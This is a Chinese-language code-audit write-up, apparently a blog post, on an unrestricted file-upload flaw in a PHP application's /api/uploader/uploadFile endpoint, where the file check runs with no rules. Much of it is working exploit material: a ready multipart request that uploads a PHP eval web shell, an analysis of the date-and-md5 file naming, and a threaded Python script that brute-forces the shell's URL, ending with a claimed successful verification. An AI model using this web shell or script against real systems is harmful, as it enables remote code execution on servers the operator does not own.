环境部署
审计分析
全局搜索upload关键字,最终在api模块的uploader控制器的uploadfile方法里发现端倪
定义了上传成功的路径 /upload/file/+文件名,以及一些错误处理,未见明显的过滤逻辑,跟进move()方法看看:
检查了文件是否为空,以及捕获了一些错误,使用check()方法验证上传,于是再跟进看看check()方法的过滤逻辑:
可以看到,这里move()方法里的check()文件合法性校验方法压根就没有传入参数,而且check()方法默认也是参数为空,但是后面的几个文件合法性校验逻辑需要$rule传入参数才能进行校验逻辑,所以这里的文件合法性校验默认情况下是没有启用的,上传文件不用经过安全性检查,于是导致了rce
触发漏洞
访问路径:/api/uploader/uploadFile
本地构造一个上传表单,复制过去用就行
1 2 3 4 5 6 7 8
| ------WebKitFormBoundaryYTOz7B0FGBwA9G4m Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: application/octet-stream
<?php @eval($_POST['cmd']); ?> ------WebKitFormBoundaryYTOz7B0FGBwA9G4m--
|
POST发包
响应如下:
没有文件路径怎么办呢?
审计文件路径命名逻辑
我们再回到代码中去,审计文件路径生成逻辑,文件根路径我们前面已经提到了,就是/upload/file/,但是我们不知道后面部分的路径
跟进buildSaveName()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| protected function buildSaveName($savename) { if (true === $savename) { if ($this->rule instanceof \Closure) { $savename = call_user_func_array($this->rule, [$this]); } else { switch ($this->rule) { case 'date': $savename = date('Ymd') . DS . md5(microtime(true)); break; default: if (in_array($this->rule, hash_algos())) { $hash = $this->hash($this->rule); $savename = substr($hash, 0, 2) . DS . substr($hash, 2); } elseif (is_callable($this->rule)) { $savename = call_user_func($this->rule); } else { $savename = date('Ymd') . DS . md5(microtime(true)); } } } } elseif ('' === $savename || false === $savename) { $savename = $this->getInfo('name'); }
if (!strpos($savename, '.')) { $savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION); }
return $savename; }
|
解释一下逻辑:
$savename为true时按照以下规则生成文件路径:
- 通过
date
和时间戳哈希生成(格式:Ymd/哈希值
)。
- 使用哈希算法生成文件名(格式:
前两位哈希值/剩余哈希值
)。
- 使用可调用函数生成文件名。
- 默认使用
Ymd/哈希值
格式生成。
$savename为空字符串或 false
:使用原始文件名。
显然这里是采用第一种规则生成文件名,因为$savename为true
脚本编写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
|
import requests import time import hashlib import threading import queue q=queue.Queue() def md5(s): return hashlib.md5(s.encode()).hexdigest() url = "http://xxxx/api/uploader/uploadfile" files={'file':('1.php',open('shell.txt','rb'))} timer1=int(time.time()) res = requests.post(url=url, files=files, allow_redirects=False) def attack1(): while not q.empty(): i = q.get() for tt in range(0,4): timenow=str(timer1-2+tt)+f'.{i}' urll=f"http://xxxx/upload/file/20250104/{md5(timenow)}.php" r = requests.get(urll) if r.status_code == 200: print(urll) with open("test.txt", "w") as f: f.write(urll) else: print(timenow) for i in range(9999): q.put(i) for i in range(20): t1 = threading.Thread(target=attack1) t1.start()
|
验证
验证成功